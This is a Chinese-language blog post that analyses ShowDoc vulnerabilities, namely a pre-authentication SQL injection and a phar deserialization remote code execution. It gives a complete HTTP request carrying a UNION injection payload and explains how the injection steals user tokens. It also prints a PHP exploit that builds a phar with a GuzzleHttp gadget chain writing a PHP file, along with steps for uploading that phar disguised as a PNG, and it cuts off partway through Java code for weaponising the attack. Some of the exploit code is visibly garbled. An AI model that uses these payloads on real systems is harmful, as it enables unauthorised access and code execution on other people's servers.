Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86386011

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

漏洞版本sqli=3.2.5

phar 反序列化=3.2.4

漏洞分析前台sqli

補丁

https://github.com/star7th/showdoc/commit/84fc28d07c5dfc894f5fbc6e8c42efd13c976fda補丁對比發現,在server/Application/Api/Controller/ItemController.class.php中將$item_id變量從拼接的方式換成參數綁定的形式,那麼可以推斷,這個點可能存在sql注入。

QQ截图20240627161403.png

在server/Application/Api/Controller/ItemController.class.php的pwd方法中,從請求中拿到item_id參數,並拼接到where條件中執行,並無鑑權,由此可判斷為前台sql注入。

QQ截图20240627163011.png

但在進入sql注入點之前,會從請求中獲取captcha_id和captcha參數,該參數需要傳入驗證碼id及驗證碼進行驗證,所以,每次觸發注入之前,都需要提交一次驗證碼。

QQ截图20240627163208.png

驗證碼的邏輯是根據captcha_id從Captcha表中獲取未超時的驗證碼進行比對,驗證過後,會將驗證碼設置為過期狀態。

QQ截图20240627163238.png

完整拼接的sql語句

SELECT*FROMitemWHERE(item_id='1')LIMIT1 QQ截图20240627163300.png

$password 和$refer_url 參數都可控,可通過聯合查詢控制password的值滿足條件返回$refer_url參數值,1') union select 1,2,3,4,5,6,7,8,9,0,11,12 --,6對應的是password字段,所以password參數傳遞6,條件成立,回顯傳入$refer_url參數,那麼就存在sql注入。

QQ截图20240627163543.png

POST/server/index.php?s=/Api/Item/pwdHTTP/1.1Host:172.20.10.1Content-Length:110Cache-Control:max-age=0Upgrade-Insecure-Requests:1Origin:http://127.0.0.1Content-Type:application/x-www-form-urlencodedUser-Agent:Mozilla/5.0(WindowsNT10.0;W in64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/125.0.0.0Safari/537.36Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer:http://127.0.0.1/server/index.php? s=/Api/Item/pwdAccept-Encoding:gzip,deflateAccept-Language:zh-CN,zh;q=0.9sec-ch-ua:'GoogleChrome';v='125','Chromium';v='125','Not.A/Brand';v='24'sec-ch-ua-mobile:0sec-ch-ua-platform:'Windows'sec-fetch-site:same-originsec-fetch-mode:n avigatesec-fetch-dest:documentcookie:PHPSESSID=1r419tk5dmut6vs4etuv656t1q;think_language=zh-CN;XDEBUG_SESSION=XDEBUG_ECLIPSEx-forwarded-for:127.0.0.1x-originating-ip:127.0.0.1x-remote-ip:127.0.0.1x-remote-addr:127.0.0.1Connection:close

captcha=8856captcha_id=87item_id=1')+union+select+1,2,3,4,5,6,7,8,9,0,11,12+--password=6refer_url=aGVsbG8=QQ截图20240627163354.png

sqli獲取token鑑權是通過調用server/Application/Api/Controller/BaseController.class.php的checkLogin方法來進行驗證。

QQ截图20240627163427.png

未登錄時,會從請求中拿到user_token參數,再通過user_token在UserToken表中查詢,驗證是否超時,將未超時記錄的uid字段拿到User表中查詢,最後將返回的$login_user設置到Session中。

那麼只需要通過注入獲取到UserToken表中未超時的token,那麼就可以通過該token訪問後台接口。

phar反序列化rce補丁

https://github.com/star7th/showdoc/commit/805983518081660594d752573273b8fb5cbbdb30補丁將new_is_writeable方法的訪問權限從public設置為private。

QQ截图20240627163453.png

在server/Application/Home/Controller/IndexController.class.php的new_is_writeable方法中。該處調用了is_dir,並且$file可控,熟悉phar反序列化的朋友都知道,is_dir函數可協議可控的情況下可觸發反序列化。

QQ截图20240627163525.png

有了觸發反序列化的點,還需要找到一條利用鏈,Thinkphp環境中用到GuzzleHttp,GuzzleHttp\Cookie\FileCookieJar的__destruct方法可保存文件。

QQ截图20240627163543.png

網上已經有很多分析,這裡直接給出生成phar的exp。

cookies=array(newSetCookie());}private$strictMode;}classFileCookieJarextendsCookieJar{private$filename='E:\\Tools\\Env\\phpstudy_pro\\WWW\\showdoc-3.2.4\\server\\test.php';private$storeSessionCookies=true;}classSetCookie{private$data=array('Expires'=');}}namespa ce{$phar=newPhar('phar.phar');//後綴名必須為phar$phar-startBuffering();$phar-setStub('GIF89a'.');//設置stub$o=new\GuzzleHttp\Cookie\FileCookieJar();$phar-setMetadata($o);//將⾃定義的meta-data存⼊manifest$phar-addFromString('test.txt','test');//添加要壓縮的⽂件//簽名⾃動計算$phar-stopBuffering();

}生成exp時,寫入的路徑需要指定絕對路徑,在docker中部署的默認為/var/www/html,其他則可以通過訪問時指定一個不存在的模塊報錯拿到絕對路徑。

QQ截图20240627163631.png

後續利用,找到一個上傳且知道路徑的點,將生成的phar文件改成png進行上傳。

QQ截图20240627163650.png

訪問返回的鏈接,可獲取上傳文件的路徑。

QQ截图20240627163713.png

調用new_is_writeable方法,通過phar://訪問文件觸發反序列化。

QQ截图20240627163731.png

武器化利用思考在java環境下,對該漏洞進行武器化時,考慮到兩點情況,一個是在通過sqli獲取token時,需要對驗證碼進行識別,目前網上已經有師傅移植了ddddocr。

https://github.com/BreathofWild/ddddocr-java8另一個是在使用exp生成phar文件時,需要指定寫入文件的絕對路徑以及內容,在java下沒找到可以直接生成phar文件的方法,沒法動態生成phar文件,對phar文檔格式解析,實現一個可在java環境下指定反序列化數據來生成phar文件的方法。

phar文檔格式解析通過php生成一個phar文件,用010 Editor 打開,通過官網文檔對phar格式說明,解析phar的文件。

https://www.php.net/manual/zh/phar.fileformat.ingredients.phpphar文檔分為四個部分:Stub、manifest、contents、signature

Stub就是一個php文件,用於標識該文件為phar文件,該文件內容必須以來結尾,感覺類似於文件頭。

QQ截图20240627163756.png

manifest這個部分不同區間指定了一些信息,其中就包含了反序列化的數據。

https://www.php.net/manual/zh/phar.fileformat.phar.php1-4(bytes) 存放的是整個manifest 的長度,01C7轉換為10進制為455,代表整個manifest 的長度455。

QQ截图20240627163825.png

5-8(bytes) Phar 中的文件數也就是contents 中的文件數,有一個文件。

QQ截图20240627163849.png

9-10 存放的是API version 版本。

QQ截图20240627163933.png

11-14 Global Phar bitmapped flags。

QQ截图20240627163909.png

15-18 如果有別名,那麼該區間存放的是別名長度,這裡不存在別名。

QQ截图20240627164013.png

19-22 元數據長度0191 轉十進制401 代表元數據長度為401。

QQ截图20240627164033.png

22-?元數據,元數據中存放的就是反序列化的數據。

QQ截图20240627164100.png

contents這個部分可有可無,是manifest 第二個區間指定的一個內容,官網沒有具體說明,漏洞利用時也不會用到。

signatureactual signature這個部分存放簽名內容。簽名的方式不同,簽名的長度也不一樣,SHA1 簽名為20 字節,MD5 簽名為16 字節,SHA256 簽名為32 字節,SHA512 簽名為64 字節。 OPENSSL 簽名的長度取決於私鑰的大小。

ignature flags (4 bytes)這個部分標識簽名的算法,0x0001 用於定義MD5 簽名,0x0002 用於定義SHA1 簽名,0x0003 用於定義SHA256 簽名,0x0004 用於定義SHA512 簽名。0x0010 用於定義OPENSSL 簽名。

GBMB (4 bytes)Magic GBMB簽名算法為02,使用的即是SHA1簽名。

QQ截图20240627164140.png

簽名的長度為20 字節。

QQ截图20240627164203.png

通過對整個phar文件格式進行解析,發現大部分字段都是固定不變的。需要變化的字段有:

1、manifest 的長度

2、manifest 中元數據

3、manifest 中的元數據長度

4、signature flag 簽名算法

5、signature 簽名數據

java生成phar文件最終構造得到:

packageorg.example;

importcom.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException;importcom.sun.org.apache.xml.internal.security.utils.Base64;

importjava.io.ByteArrayOutputStream;importjava.io.FileOutputStream;importjava.io.IOException;importjava.nio.ByteBuffer;importjava.nio.charset.StandardCharsets;importjava.security.MessageDigest;importjava.security.NoSuchAlgorithmException;

publicclassApp{publicstaticvoidmain(String[]args)throwsIOException,Base64DecodingException{finalFileOutputStreamfileOutputStream=newFileOutputStream('phar.phar');finalbyte[]decode=Base64.decode('TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czo0MToiAEd1enpsZUh0dHBc Q29va2llXEZpbGVDb29raWVKYXIAZmlsZW5hbWUiO3M6ODoidGVzdC5waHAiO3M6NTI6IgBHdXp6bGVIdHRwXENvb2tpZVxGaWxlQ29va2llSmFyAHN0b3JlU2Vzc2lvbkNvb2tpZ XMiO2I6MTtzOjM2OiIAR3V6emxlSHR0cFxDb29raWVcQ29va2llSmFyAGNvb2tpZXMiO2E6MTp7aTowO086Mjc6Ikd1enpsZUh0dHBcQ29va2llXFNldENvb2tpZSI6MTp7czozMzo